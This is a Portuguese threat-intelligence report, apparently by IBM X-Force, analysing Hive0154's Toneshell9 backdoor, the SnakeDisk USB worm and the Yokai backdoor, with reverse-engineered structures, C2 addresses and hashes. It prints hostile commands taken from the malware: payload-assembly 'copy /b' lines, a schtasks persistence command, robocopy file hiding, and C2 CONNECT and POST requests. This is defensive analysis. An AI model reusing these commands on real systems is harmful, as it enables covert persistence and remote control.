O Hive0154, também conhecido como Mustang Panda, lança uma versão atualizada do backdoor Toneshell e um novo worm USB SnakeDisk

close em um notebook exibindo um código azul com uma linha vermelha de código no meio

Autores

Golo Mühr

Malware Reverse Engineer

IBM

Joshua Chung

Cyber Threat Intelligence Analyst

IBM Security

Em julho de 2025, o IBM X-Force descobriu novo malware atribuído ao agente da ameaça Hive0154, alinhado à China. Isso inclui uma variante atualizada do Toneshell que evita detecções e oferece suporte a várias novas funcionalidades, bem como um novo worm USB chamado SnakeDisk , descoberto em meados de agosto. O worm é executado apenas em dispositivos com endereços IP baseados na Tailândia e instala o backdoor Yokai, descoberto pela Netskope em dezembro de 2024.

Principais descobertas

  • Em meados de 2025, o X-Force observou diversas variantes dos malwares Toneshell e Pubload em arquivos compactados, em sua maioria provenientes de Singapura e Tailândia.
  • Uma das variantes que evita as detecções do VirusTotal é a última atualização "ToneShell9". Ela é compatível com a comunicação de comando e controle (C2) por meio de proxies configurados localmente para se misturar ao tráfego de rede corporativa e facilita dois shells reversos em paralelo.
  • O X-Force analisou o novo worm USB, SnakeDisk, que só é executado em dispositivos localizados na Tailândia, com base em seu endereço IP. O worm exibe sobreposições de código com o Tonedisk e é capaz de detectar dispositivos USB novos e existentes, que ele utiliza como meio de propagação.
  • A amostra analisada do SnakeDisk instala o backdoor Yokai nos dispositivos infectados, o que configura um shell reverso que permite aos operadores executar comandos arbitrários.O Yokai estava vinculado a campanhas direcionadas a funcionários tailandeses em dezembro de 2024.

Background

O Hive0154 é um agente da ameaça bem estabelecido e alinhado à China, com um grande arsenal de malware, técnicas consistentes e atividades bem documentadas nos últimos anos. O grupo é constituído por vários subgrupos e realiza ciberataques contra organizações públicas e privadas, incluindo centros de pesquisa, grupos políticos, agências governamentais e indivíduos. A observação do X-Force sobre o uso de múltiplos carregadores de malware personalizados, backdoors e famílias de worms USB pelo grupo demonstra seus recursos avançados de desenvolvimento. A atividade do Hive0154 se sobrepõe a agentes da ameaça relatados publicamente como Mustang Panda, Stately Taurus, Camaro Dragon, Twill Typhoon, Polaris e Earth Preta.

Espionagem cibernética voltada para o Leste Asiático

Ao longo de 2025, o X-Force observou diversos arquivos maliciosos carregados no VirusTotal a partir de Singapura e da Tailândia:

Nome do arquivo

DLL malicioso

Servidor C2

Data

Meeting Venue Request Information.zip

Carregador injetando shellcode de Pubload

188.208.141[.]
196:443

21 de maio

Hotel Booking Request.7z

Toneshell8

146.70.29[.]
229:443

03 de julho

Cyber_Safety_
Checklist_
2025.rar

Toneshell8

146.70.29[.]
229:443

30 de julho

TNLA နှင့် အခြားတော်လှန်ရေးအင်အားစုများ.rar

(translated Myanmar: "TNLA and other revolutionary forces")

Toneshell8

146.70.29[.]
229:443

30 de julho

Scan(08-02-205).zip

Toneshell8

146.70.29[.]
229:443

05 de agosto

Notes.rar

Carregador injetando shellcode de Pubload

188.208.141[.]
196:443

21 de agosto

CallNotes.zip

Carregador injetando shellcode Toneshell7

146.70.29[.]
229:443

04 de setembro

Observou-se que o Hive0154 utilizava um novo carregador para injetar reflexivamente o Pubload ou o Toneshell7, bem como para implementar diretamente a variante mais ofuscada do Toneshell8. A variante mais recente do Pubload sofreu pequenas alterações e agora oferece suporte a servidores C2 iscas e download de cargas úteis de shellcode via HTTP POST, além de TCP bruto que imita o tráfego TLS.

O arquivo "CallNotes.zip" descoberto em setembro foi baixado da Box Cloud Storage por meio de um link de um PDF que se passava pelo Ministério das Relações Exteriores de Mianmar:

PDF contendo o link para download do arquivo malicioso implementando o Toneshell7
Figura 1: PDF contendo o link para download do implementador de arquivo malicioso Toneshell7

Em meados de agosto, o X-Force também descobriu o SnakeDisk, um novo worm USB que apresenta sobreposição com variantes anteriores do Tonedisk. O worm só é executado apenas em dispositivos localizados na Tailândia, conforme determinado pelo endereço de IP público. O SnakeDisk distribui o backdoor Yokai, que foi publicamente vinculado a várias outras campanhas direcionadas à Tailândia pela Netskope em dezembro de 2024.

Considerando o histórico de uso do backdoor Yokai contra a Tailândia, a descoberta do mais recente worm USB parece coincidir com os recentes eventos geopolíticos envolvendo o país:

  • No final de maio de 2025, a Tailândia e o Camboja estiveram envolvidos em um confronto na fronteira que resultou na morte de um soldado cambojano. As negociações subsequentes entre a Tailândia e o Camboja fracassaram, com cada lado reforçando suas tropas ao longo da fronteira.
  • Em junho de 2025, uma ligação telefônica entre o primeiro-ministro da Tailândia, Paetongtarn Shinawatra, e o ex-líder cambojano, Hun Sen, foi vazada, resultando na destituição do primeiro-ministro tailandês.
  • Em 24 de julho de 2025, ocorreram vários confrontos na fronteira entre a Tailândia e o Camboja, incluindo o uso de artilharia, ataques aéreos e bombardeios navais. Em 28 de julho de 2025, os dois lados chegaram a uma trégua provisória, mediada pelos EUA e pela Malásia.
  • No início de agosto de 2025, o governo cambojano acusou os militares tailandeses de planejar um ataque de assassinato contra o primeiro-ministro cambojano, o que foi negado pelo governo tailandês. O governo cambojano citou "inteligência estrangeira não identificada" como fonte.

Tradicionalmente, a República Popular da China tem sido uma benfeitora do Camboja, fornecendo armas e investindo bilhões em projetos de infraestrutura. Eventos geopolíticos recentes podem ter impulsionado o Hive0154 a iniciar operações contra a Tailândia. A implementação do worm USB SnakeDisk, configurado para ser executado apenas em máquinas baseadas na Tailândia, parece sugerir que o Hive0154 pode estar tentando penetrar em sistemas de air-gap, frequentemente empregados em redes governamentais.

Atualizações do Toneshell8 (março de 2025)

O X-Force observou pela primeira vez o Toneshell versão 8 em março de 2025. Seu comportamento é muito semelhante à versão anterior 7, mas contém pequenas atualizações para evitar a detecção estática e dificultar a análise. A mudança mais visível é a inclusão de código lixo nas funções do malware. Esses trechos de código lixo implementam o seguinte comportamento:

  • Usa chamadas de API para gravar arquivos temporários aleatórios e excluí-los novamente
  • Copiar e percorrer uma string em um loop. As strings usadas nas amostras iniciais foram copiadas do site ChatGPT da OpenAI
  • Suspender por intervalos aleatórios

Essas três amostras de código podem ser encontrados, por exemplo, na função que resolve todas as APIs:

Código lixo de espera aleatória
Figura 2: Código lixo de espera aleatória
Um trecho de código que mostra um arquivo aleatório criado e excluído em um código lixo
Figura 3: Arquivo aleatório criado e excluído em um código lixo
trecho de código mostrando varredura de strings inúteis em código lixo
Figura 4: Varredura de strings inúteis em código lixo

Os desenvolvedores do Toneshell8 também optaram por substituir o Pseudo Random Number Generator (PRNG) por uma implementação personalizada do Linear Congruential Generator (LCG) usando constantes diferentes, por exemplo:

DWORD __cdecl zf_update_prng(main_struct *main_struct)
{
  main_struct->prng_state = 0xBD828 * main_struct->prng_state + 0x4373A;
  return main_struct->prng_state;
}

Os PRNGs são usados no Toneshell para gerar um ID de vítima, chaves de criptografia de tráfego C2 e verificação de autenticidade do beacon C2. A qualidade das implementações nas amostras do Toneshell8 varia bastante. O gerador acima, por exemplo, é usado pelas 4 amostras listadas acima e produz apenas 11 estados diferentes para a maioria das seeds.

Por fim, os códigos de resposta fixos enviados ao servidor C2, que notificam os operadores sobre o status de determinados comandos, agora são ofuscados por meio de cálculos a partir de diferentes inteiros fixos na amostra.

Toneshell9 (julho de 2025)

Em julho, o X-Force descobriu uma nova variante do Toneshell, que chamaremos de Toneshell9. Ela contém atualizações significativas e não havia nenhuma detecção no VirusTotal no momento em que este artigo foi escrito (318a1ebc0692d1d012d20d306d6634b196cc387b1f4bc38f97dd437f117c7e20).

A nova variante do Toneshell foi observada pela primeira vez em arquivos RAR infectados por trojans que continham o software "USB Safely Remove". A estrutura de código parece ter sido baseada em uma variante bipartida de dezembro de 2024, que contém a configuração C2 idêntica.

Inicialização

Semelhante às variantes anteriores, o Toneshell9 é executado como uma DLL de carregamento lateral. O arquivo RAR transformado malicioso contém um arquivo BAT, chamando um executável legítimo " USBSRService.exe " com um argumento de linha de comando "-embedding". Assim que a DLL do Toneshell "EasyFuncs.dll" é carregada na memória e a exportação FS_RegActiveX é executada, ela começa resolvendo um primeiro conjunto de APIs necessárias para a inicialização. Depois de analisar o argumento de linha de comando "-embedding", o Toneshell inicia seu executável pai em um novo processo com o argumento "EvtSys". O último argumento aciona o comportamento principal da DLL maliciosa.

O Toneshell começa inicializando um novo objeto cliente com os seguintes valores:

struct TONESHELL_CLIENT
{
  BYTE is_connected;
  HANDLE heartbeat_thread;
  C2_CLIENT *p_c2_client;
  DWORD unused_C;
  VICTIM_DATA *p_victim_data;
  DWORD unused_14;
  QWORD tick_count;
};

Em seguida, passa a resolver o restante de suas APIs necessárias através de uma função de hash personalizada e armazena os ponteiros de função em uma estrutura separada. Em seguida, ele cria um novo evento "Windows External Module", que atua como um mutex, evitando que várias instâncias sejam executadas na mesma máquina.

O Toneshell9 está repleto de vários trechos de código lixo, que recupera o número atual de ticks da CPU, armazena o resultado como uma string e a desaloca novamente.

trecho de código lixo do Toneshell9 na lógica de resolução da API
Figura 5: Código lixo doToneshell9 na lógica de resolução de API

Para gerenciar e armazenar comunicação C2, servidores proxy, beacons e cargas úteis na memória, o Toneshell instancia um grande objeto de 129 KB:

struct C2_CLIENT
{
  std::vector<std::string> c2_list;
  SOCKADDR_IN c2_sockaddr_array[16];
  int current_c2_sockaddr_index;
  int number_of_c2s;
  BYTE key[768];
  SOCKET ptr_socket;
  DWORD beacon_tls_header;
  BYTE beacon_payload_buffer[65536];
  BYTE c2_response_buffer[65536];
  DWORD size_of_c2_response;
  BYTE critical_section[24];
  std::list<proxy_entry> proxy_list;
  int proxy_enabled;
  int current_c2_string_index;
};

Ao contrário das variantes anteriores, o Toneshell9 enumera os hives do registro HKEY_LOCAL_MACHINE, HKEY_CURRENT_USER and HKEY_USERS\\.DEFAULT para procurar servidores proxy configurados localmente.

trecho de código mostrando o ToneShell9 analisando servidores proxy do registro do Windows
Figura 6: Toneshell9 analisando servidores proxy do registro do Windows

Se um servidor for encontrado, tanto o protocolo da URL (http, https, ftpou socks) quanto a URL completa são armazenados como strings em uma lista de objetos.

Em seguida, o ToneShell armazena seu domínio de servidor C2 e endereço IP em um vetor de strings. O mesmo IP e porta codificados são armazenados diretamente em um array de estrututuras SOCKADDR_IN. O malware então percorre as cadeias de caracteres do servidor C2, resolvendo o endereço IP para cada uma delas e adicionando-o ao mesmo array de estruturas SOCKADDR_IN.

trecho de código mostrando o ToneShell resolvendo e armazenando endereços de servidores C2
Figura 7: Toneshell resolvendo e armazenando endereços de servidores C2

Conforme observado nas variantes anteriores, o Toneshell passa a descartar um arquivo contendo um GUID de vítima aleatório de 16 bytes gerado por meio da função Windows _rand():

C:\ProgramData\ProgrammaticallyCpp.inc

O GUID também é armazenado em uma estrutura junto com o caminho do arquivo e o nome NetBIOS da vítima.

struct VICTIM_DATA
{
  BYTE victim_guid[16];
  BYTE computername[24];
  BYTE guid_path[24];
};

Os dados acima são usados para construir um objeto beacon na memória. Notavelmente, o Toneshell9 realiza cálculos sobre a diferença na contagem de ticks da CPU antes e depois do comportamento principal de inicialização detalhado acima. Esse valor é normalizado e provavelmente usado para detectar anomalias no tempo de execução que podem indicar um atraso na execução da área de testes ou na depuração.

struct BEACON_DATA
{
  BYTE key[768];   
  BYTE code_byte;       // set to 0x02
  BYTE victim_guid[16];
  BYTE computername[80];
  DWORD tick_delta;
};

 A chave XOR de 0x300 bytes é gerada por meio da _rand() e usada para criptografar os 101 bytes de dados, começando no deslocamento 0x300. Os dados acima estão agrupados em um pacote de dados de aplicação TLS 1.2 falso, com o seguinte formato:

struct BEACON
{
  BYTE tls_header[3];       // 17 03 03
  WORD payload_size;        // 0x0365 (big-endian)
  BYTE payload_data[869];  
};

Comunicação C2 e proxy HTTP

Durante o loop principal, o Toneshell9 executa uma função para estabelecer uma conexão de socket com seu servidor C2. Ele começa com uma tentativa de conexão por meio da primeira estrutura SOCKADDR_IN. Caso isso falhe, o malware tenta estabelecer uma conexão de socket através de qualquer um dos servidores proxy coletados do registro. A tentativa é feita para cada uma das strings de endereço C2, ou seja, o endereço IP e o domínio da amostra analisada acima.

Após resolver o endereço IP do servidor proxy e conectar-se por meio de um socket TCP, ele primeiro define os tempos limite de envio e recebimento para 1 minuto. Em seguida, envia a seguinte solicitação de conexão:

CONNECT <C2 server>:<C2 port> HTTP/1.0
Host: <C2 server>:<C2 port>
Content-Length: 0
Proxy-Connection: Keep-Alive
Pragma: no-cache

Se o servidor proxy retornar um código de status 2xx, a conexão foi estabelecida com sucesso e está pronta para o tunelamento TCP bruto. Para verificar a conexão com seu servidor C2, a Toneshell9 utiliza um protocolo de handshake curto, transmitindo também o IP e a porta do servidor no processo. Se o handshake for bem-sucedido, o identificador do socket é armazenado na estrutura C2_CONNECTION e os tempos limite do socket são definidos para 2 minutos. Em seguida, o Toneshell envia o primeiro beacon de anúncio pelo socket.

O sistema espera uma resposta semelhante do servidor, que, com exceção dos primeiros 5 bytes, está criptografada com a chave XOR transmitida anteriormente:

struct C2_RESPONSE
{
    BYTE tls_header[3];     // 17 03 03
    WORD payload_size;      // big-endian
    BYTE command_code;
    BYTE shell_id;
    BYTE data[];
}

Usando um proxy já configurado em um dispositivo infectado, o Toneshell pode se misturar efetivamente a outros tráfegos de rede. Ambientes empresariais maiores frequentemente impõem filtragem de saída, permitindo apenas o tráfego através de gateways confiáveis, o que bloquearia a comunicação direta com C2. O recurso adicional do Toneshell de contornar essa filtragem permite que ele opere em ambientes de rede bem protegidos.

Shell reverso

Ao receber a primeira resposta C2, o Toneshell inicia uma nova thread que envia sinais de resposta semelhantes a batimentos cardíacos a cada 30 segundos, com o código de resposta 0x1 e um valor shell_id aleatório. Os beacons de resposta têm um formato muito semelhante:

struct BEACON_CMD_RESPONSE
{
    BYTE tls_header[3];     // 17 03 03
    WORD payload_size;      // big-endian
    BYTE response_code;
    BYTE shell_id;
    BYTE data[];
}

O Toneshell9 é compatível com os seguintes códigos de comando:

Código

Descrição

2

Ignora este beacon e aguarda o próximo.

3

Cria um novo shell reverso e o atribui ao shell_id.

4

Escreve uma string de comando no shell reverso identificado pelo shell_id

5

Fecha o shell reverso identificado pelo shell_id

Semelhante às variantes anteriores, um shell reverso é configurado usando pipes anônimos conectados aos handles stdin e stdout de um novo processo cmd.exe. O Toneshell9 oferece suporte a dois shells reversos ativos em paralelo e usa a estrutura abaixo para gerenciar a conexão de um shell:

struct REVERSE_SHELL
{
  int shell_id;
  BYTE cmd_path[24];
  HANDLE hReadPipe1;
  HANDLE hWritePipe1;
  HANDLE hReadPipe2;
  HANDLE hWritePipe2;
  DWORD hThread_cmd;
  DWORD hProcess_cmd;
  DWORD parent_pid;
  BYTE cmd_process_created;
  DWORD hThread_pipe_to_c2;
};

Para cada shell reverso, uma nova thread é criada para verificar regularmente novos dados do pipeline stdout e enviá-los de volta ao servidor C2 em um beacon com código de resposta 0x4. Os operadores Toneshell podem escrever dados de string no pipeline usando o shell_id correto e executar comandos arbitrários na máquina. Ao fechar um shell reverso, o processo conhost.exe identificado pelo parent_pid também é encerrado na máquina.

Worm USB SnakeDisk

Em agosto de 2025, o X-Force descobriu um worm USB até então desconhecido, que foi atribuído ao Hive0154. A DLL de 32 bits foi carregada no VirusTotal como "01.dat" da Tailândia e exibe funcionalidades semelhantes às do Toneshell9. Ambos são executados por meio de carregamento lateral de DLL, com todas as exportações, exceto o DllEntryPoint e o ponto de entrada do malware, apontando para a mesma função, que retorna imediatamente. Ambos também apresentam funcionalidades de resolução de API quase idênticos, o que é consistente com quase todos os malwares relacionados ao Toneshell. Semelhante ao exemplo Toneshell9, o SnakeDisk também lê um argumento de linha de comando para selecionar um dos dois caminhos de execução possíveis:

  • "-Embedding": inicia o comportamento de infecção de USB antes de descartar e executar a carga útil incorporada assim que um dispositivo é removido.
  • " -hope ": imediatamente descarta e executa a carga útil incorporada.

Inicialização

Para executar a funcionalidade de infecção USB, o SnakeDisk requer um arquivo de configuração, que ele procura no diretório atual do executável principal. Todos os arquivos encontrados nesse diretório, a menos que tenham o nome " System Volume Information", serão adicionados a uma lista de possíveis arquivos de configuração. O Tonedisk passa a abrir e ler cada arquivo, testando as seguintes condições para verificar o arquivo antes de prosseguir com a descriptografia.

  • O tamanho do arquivo está entre 0x14A e 0x14000 bytes
  • Os primeiros 4 bytes são o hash CRC32 correto do restante do arquivo

O SnakeDisk prossegue descriptografando os dados usando um provável algoritmo XOR bifásico personalizado e uma chave de 320 bytes armazenada em um cabeçalho de 330 bytes.

trecho de código mostrando algoritmo de descriptografia de configuração baseado em XOR
Figura 8: Algoritmo de descriptografia de configuração baseado em XOR

Por fim, o malware analisa 18 valores de string que definem a configuração do malware. O X-Force não conseguiu recuperar um arquivo de configuração; no entanto, a análise do SnakeDisk revelou os seguintes propósitos prováveis dos valores.

Campo de configuração

Propósito

version

Versão de malware usada para determinar se um cliente já infectado deve ser infectado novamente com uma variante atualizada.

mutx

String mutex.

psd

Não usado na amostra analisada. Possivelmente equivalente local a "usd" - todos os valores "u*" são nomes de arquivos/diretórios no USB após a preparação maliciosa.

urd

Possivelmente "diretório raiz USB". Nome do diretório criado no USB que contém subdiretórios.

uud

Possivelmente "diretório de usuários USB". Nome do diretório em <urd> que contém os arquivos originais dos usuários do USB.

usd

Possivelmente "diretório de preparação USB". Nome do diretório em <urd> que armazena vários componentes maliciosos do SnakeDisk.

pnex

Possivelmente "nome do executável pai". Nome do arquivo existente no diretório atual do SnakeDisk durante a execução.

pndl

Possivelmente "nome da DLL pai". Nome do arquivo existente no diretório atual do SnakeDisk durante a execução.

pnen

Possivelmente "nome criptografado do pai". Nome do arquivo existente no diretório atual do SnakeDisk durante a execução.

pnendl

Possivelmente "nome da DLL criptografada pai". Nome do arquivo existente no diretório atual do SnakeDisk durante a execução.

unex

Possivelmente "nome do executável USB". Nome de arquivo de um arquivo copiado de <pnex> para o USB.

undl

Possivelmente "nome do USB DLL". Nome de arquivo de um arquivo copiado de <pndl> para o USB.

unen

Possivelmente "nome do USB criptografado". Nome de arquivo de um arquivo copiado de <pnen> para o USB.

unendl

Possivelmente "DLL criptografada do nome do USB". Nome de arquivo de um arquivo copiado de <pnendl> para o USB.

unendl_org

Nome do arquivo (provavelmente um arquivo DLL) copiado de <pnendl> para o diretório raiz do USB e e ocultado por meio de atributos de arquivo.

unconf

Nome do arquivo de configuração do SnakeDisk descartado no USB.

regkey

Potencialmente relacionado a um mecanismo de persistência de registro. Não usado na amostra analisada.

schkey

Potencialmente relacionado a um mecanismo de persistência de tarefa agendada. Não usado na amostra analisada.

Depois de ler com sucesso o arquivo de configuração, o SnakeDisk tentará confirmar se ele está sendo executado atualmente em uma máquina baseada na Tailândia. Ele envia uma solicitação HTTP GET para http://ipinfo[.]io/json e verifica se o campo "país" corresponde a "THA" ou "TH". Se isso for verdade, a execução continua.

GET /json HTTP/1.1
Connection: Keep-Alive
User-Agent: Program/1.0
Host: ipinfo.io

É importante destacar que a execução também continuará se ocorrer um erro ao resolver APIs ou durante a comunicação de rede.

O SnakeDisk então garante que ele seja executado apenas em uma única instância, tentando abrir um mutex "Global\\<mutx config value>". Se o mutex já existir, o malware será encerrado; caso contrário, ele criará o mutex via CreateMutexW.

detecção de dispositivos USB

Para infectar qualquer unidade USB já conectada, o SnakeDisk começa a percorrer todas as letras de unidade possíveis de A a Z. Ele abre um handle para o volume físico, como "\\.\A:" e envia o código de controle de IO IOCTL_STORAGE_GET_HOTPLUG_INFO (0x2D0C14) para o dispositivo. Se o dispositivo for um dispositivo de hotplug de acordo com a estrutura STORAGE_HOTPLUG_INFO retornada, ele iniciará uma nova thread para infectar essa unidade.

Após percorrer todas as letras de unidade, o SnakeDisk aguarda 5 segundos e então registra uma nova classe de janela "TestClassName" e cria uma janela correspondente "TestWindowName". Para recuperar mensagens do sistema operacional, a função cria um loop do Windows Message usando GetMessageW e envia as mensagens para o procedimento de janela do malware via TranslateMessage e DispatchMessageW. Ele só sai do loop ao receber uma mensagem WM_CAP_PAL_OPEN (0x450). A classe de janela maliciosa faz referência a um procedimento personalizado que escuta a mensagem WM_DEVICECHANGE (0x219) e, especificamente, os eventos DBT_DEVICEARRIVAL (0x8000) e DBT_DEVICEREMOVECOMPLETE (0x8004).

trecho de código de função de retorno de chamada da classe do Windows, ouvindo mensagens WM_DEVICECHANGE
Figura 9: Função de retorno de chamada de classe de janela ouvindo mensagens WM_DEVICECHANGE

Se uma mensagem desse tipo for recebida, por exemplo, quando um dispositivo USB é conectado ao computador infectado, a função usará o campo "dbcv_unitmask" da estrutura DEV_BROADCAST_VOLUME para determinar a letra da unidade do dispositivo correspondente. Para dispositivos recém-conectados, uma nova thread é iniciada para infectar a unidade. Se o SnakeDisk detectar a remoção de um dispositivo, ele inicia uma thread para descarregar e executar sua carga útil incorporada, iniciando o mesmo fluxo de execução que ocorreria caso a DLL do SnakeDisk fosse executada com o argumento de linha de comando "-hope".

Propagação de USB

O processo para infectar um dispositivo USB detectado começa com a busca de um arquivo de configuração existente na unidade para determinar se ela já foi infectada. Ele tenta descriptografar e analisar uma configuração de qualquer arquivo com a extensão .dat ou .cd . Se uma configuração for analisada, o malware compara o número da versão da unidade já infectada com a versão de sua própria configuração e só infectará novamente as unidades com versões mais antigas do SnakeDisk.

Em seguida, o SnakeDisk inicia outra thread para migrar os arquivos existentes no USB para um novo subdiretório. Ao ocultar os arquivos que o usuário espera encontrar em seu dispositivo USB, o malware aumenta a probabilidade de a vítima acreditar que o USB ainda não foi aberto e clicar acidentalmente no executável malicioso em uma nova máquina com o mesmo nome do dispositivo. Após a execução, o programa malicioso copia de volta os arquivos do usuário para evitar suspeitas. O caminho que contém os dados do usuário em um dispositivo infectado é criado a partir de valores de configuração como:

<drive_letter>:\<urd>\<uud>\

O malware pode usar dois mecanismos diferentes para as operações; cada um executado em sua respectiva thread. O primeiro usa SHFIleOperationW para migrar cada arquivo e, durante cada operação, também lê 32 bytes de um arquivo "C:\\Windows\\Tmp\\msd.log", que são gravados em um arquivo "C:\\ProgramData\\app.log" antes de excluir o último. O propósito desse comportamento não está claro.

código mostrando o agente da ameaça movendo arquivos do USB para um novo diretório
Figura 10: Movendo arquivos do USB para um novo diretório

Enquanto a thread está em execução, o malware verifica regularmente a conclusão bem-sucedida por 30 segundos antes de iniciar uma segunda thread. A segunda thread usa robocopy para migrar os arquivos e executa o seguinte comando em um novo processo:

robocopy <drive_letter>:\ <drive_letter>:\<urd>\<uud>\ /XD
"<drive_letter>:\<urd>\" /XF "<drive_letter>:\<unendl_org>" /XF
"<drive_letter>:\<usb_volumename>.exe" /XD "System Volume Information" /E
/MOVE

Ambas as movimentações de arquivos excluem os arquivos maliciosos do SnakeDisk e o arquivo "System Volume Information", que deve permanecer no diretório raiz do disco USB. Depois de executar o comando acima, o mesmo comando é iniciado novamente com duas flags adicionais "/IS" e "/XO", para incluir os mesmos arquivos e excluir arquivos do diretório de origem mais antigos que o destino.

Depois de mover os arquivos já existentes no USB, o SnakeDisk continua copiando suas próprias cargas úteis do diretório atual para a unidade USB. Os seguintes arquivos, conforme especificado na configuração, são copiados via CopyFileW, cada um em uma nova thread:

.\<pnex> copied to <drive_letter>:\<urd>\<usd>\<unex>
.\<pndl> copied to <drive_letter>:\<urd>\<usd>\<undl>
.\<pnen> copied to <drive_letter>:\<urd>\<usd>\<unen>
.\<pnendl> copied to <drive_letter>:\<urd>\<usd>\<unendl>
.\<pnen> copied to <drive_letter>:\<usb_volumename>.exe
.\<pnendl> copied to <drive_letter>:\<unendl_org>

O nome do arquivo EXE na raiz da unidade USB é definido com o nome do volume do dispositivo USB ou apenas "USB.exe" se estiver vazio. O SnakeDisk também define os atributos SYSTEM e HIDDEN no arquivo copiado para "<drive_letter>:\<unendl_org>". Todos os diretórios no USB também carregam esses atributos, ocultando efetivamente tudo, exceto o executável. Embora o X-Force não tenha recuperado nenhum dos outros arquivos, worms USB anteriores usaram a mesma técnica para fazer com que as vítimas clicassem no executável, o que carregava lateralmente uma DLL para iniciar a infecção. O nome do arquivo dessa DLL maliciosa provavelmente está armazenado no valor de configuração "unendl_org". Por fim, o SnakeDisk grava sua configuração em um novo arquivo no USB com o nome do valor "unconf".

Execução da carga útil

A thread SnakeDisk responsável por descarregar e executar sua carga útil incorporada é lançada quando uma remoção de dispositivo USB é detectada, ou no início da execução do SnakeDisk via argumento de linha de comando "-hope".

Primeiro, a thread lê um arquivo de marcador "vm.ini" em seu diretório e compara o conteúdo com seu próprio caminho atual. Esse arquivo também é gravado após o descarregamento e a execução bem-sucedidos das cargas úteis e indica se a vítima já foi infectada pela carga útil incorporada do SnakeDisk. Se os caminhos coincidirem, nenhuma carga útil será descarregada e a thread será encerrada.

Após a primeira verificação, o SnakeDisk começa a descarregar uma série de cargas úteis para o diretório "C:\Users\Public". Cada arquivo é construído na memória a partir de valores imediatos em grandes funções entre 0,6 e 3,3 MB.

código mostrando a função desmontada que constrói uma carga útil binária
Figura 11: Função desmontada que constrói uma carga útil binária

As cargas são descriptografadas por meio de uma operação XOR simples antes de serem descartadas como arquivos em:

  • C:\Users\Public\srv0
  • C:\Users\Public\srv1
  • C:\Users\Public\srv2
  • C:\Users\Public\loga
  • C:\Users\Public\logb
  • C:\Users\Public\logc

Esses arquivos são concatenados em grupos de três para produzir as duas cargas úteis finais por meio dos seguintes comandos:

cmd.exe /c cd "c:\users\public\" & copy /b "srv0"+"srv1"+"srv2"
c:\users\public\libcef.dll
cmd.exe /c cd "c:\users\public\" & copy /b "loga"+"logb"+"logc"
c:\users\public\<randomised_name>.exe

O nome de arquivo EXE é criado a partir de 10 letras maiúsculas e números aleatórios. Após a concatenação, os arquivos são excluídos.

Finalmente, o executável é iniciado em um novo processo com um argumento de linha de comando codificado:

c:\users\public\<randomised_name>.exe -project-mod

Como era de se esperar, o EXE (bb5bb82e5caf7d4dbbe878b75b23f793a5f3c5ca6dba70d8be447e8c004d26ce) é um executável legítimo e assinado(acwebbrowser.exe) que faz o carregamento lateral da libcef.dll maliciosa durante a execução.

Backdoor Yokai

A carga útil da DLL foi identificada como o backdoor Yokai, reportado em dezembro de 2024 pela Netskope. Após a execução, o malware primeiro verifica o argumento "-project-mod" e, em seguida, estabelece persistência por meio de uma tarefa agendada se o usuário não for membro do grupo de administradores:

cmd.exe /c schtasks /create /f /sc MINUTE /MO 5 /tn
"MicrosoftEdgeAcModuleUpdateTask" /tr "<path> -project-mod"

Ele passa a criar um novo mutex "k1tpddvivh74fo1et725okr1c1" e inicializa uma estrutura de configuração interna. A variante instalada pelo SnakeDisk contém a string de versão "1.0.0" e se comunica com um servidor C2 codificado por meio de requisições HTTP POST:

POST /kptinfo/import/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: WinHTTP Example/1.0
API-INDEX: 0
Accept-Connect: 0
Content-Length: 156
Host: 118.174.183[.]89
<encrypted data>

Conforme descrito na análise da Netskope, o Yokai é usado para criar um shell reverso por meio de canais anônimos, permitindo que os operadores executem comandos arbitrários na máquina infectada.

Curiosamente, o Yokai mostra sobreposições com outras famílias de backdoor atribuídas ao Hive0154, como Pubload/Pubshell e Toneshell. Embora essas famílias sejam claramente malware distintos, elas seguem, em linhas gerais, a mesma estrutura e usam técnicas semelhantes para estabelecer um shell reverso com o servidor C2.

Sobreposições com Tonedisk

A análise do X-Force também revelou muitas sobreposições entre o SnakeDisk e o Tonedisk. Ao longo dos anos, várias famílias de worms USB foram associadas ao Hive0154. Variantes fortemente relacionadas à família Toneshell em suas implementações são rastreadas pelo X-Force, como Tonedisk. Até o momento, foram identificadas três versões principais do Tonedisk (A, B e C). Cada uma das versões do Tonedisk é um pacote de diferentes componentes maliciosos que compõem a funcionalidade completa do worm USB. Esses componentes incluem ativadores, carregadores, disseminadores, arquivos criptografados, instaladores e backdoors.

O SnakeDisk se sobrepõe especificamente à variante ToneDisk A, que também foi relatada em meados de 2023 pelo Checkpoint como WispRider. Os mecanismos de propagação USB, o hash da API e os arquivos de configuração de ambos os malwares apresentam diversas semelhanças, que estão de acordo com a conhecida tendência dos subclusters do Hive0154 de compartilhar e reutilizar malwares.

Atribuição

O X-Force acompanha a atividade neste relatório sob o cluster Hive0154, que se sobrepõe parcialmente com atividades publicadas como Mustang Panda, Stately Taurus, Camaro Dragon, Twill Typhoon, Polaris, TEMP.Hex, and Earth Preta. Esse grupo parece manter um ecossistema de malware consideravelmente grande, com sobreposições frequentes tanto no código malicioso quanto nas técnicas usadas durante os ataques e no direcionamento. No âmbito do cluster maior, o X-Force separa pelo menos três subclusters de atividade com baixa confiança, com cada cluster associado a uma das cepas centrais de malware PlugX, ToneShell e Pubload. Notavelmente, cada cepa de malware é associada a um framework de worm USB diferente e a uma ou mais variantes de malware carregador relacionadas, que mudam com mais frequência. O mesmo carregador pode ser usado para diferentes cargas, como Toneshell ou Pubload, dentro do mesmo período de tempo. No entanto, é importante observar que o cluster de atividades não sinaliza automaticamente que elas estão operando como subgrupos separados.

A atividade associada ao uso do SnakeDisk e do backdoor Yokai possivelmente indica um subcluster adicional do Hive0154. Atualmente, parece estar direcionado para a Tailândia, como evidenciado pelas verificações de geolocalização de IP nos relatórios da SnakeDisk e da Netskope.

Conclusão

O Hive0154 continua sendo um agente da ameaça altamente capaz, com vários subclusters ativos e ciclos de desenvolvimento frequentes. O X-Force avalia com confiança que grupos alinhados à China, como o Hive0154, continuarão a refinar seu grande arsenal de malware e terão como alvo organizações públicas e privadas em todo o mundo. O malware discutido no relatório acima provavelmente ainda está em fase inicial de desenvolvimento, permitindo que os defensores adotem mecanismos de detecção antes de seu uso generalizado. As entidades com risco de espionagem pelo Hive0154 devem permanecer em um estado mais elevado de segurança defensiva e vigilantes em relação às técnicas mencionadas neste relatório, além de revisar as seguintes recomendações:

  • Tenha cuidado com e-mails ou PDFs contendo links de download do Google Drive, Box Cloud Storage ou Dropbox
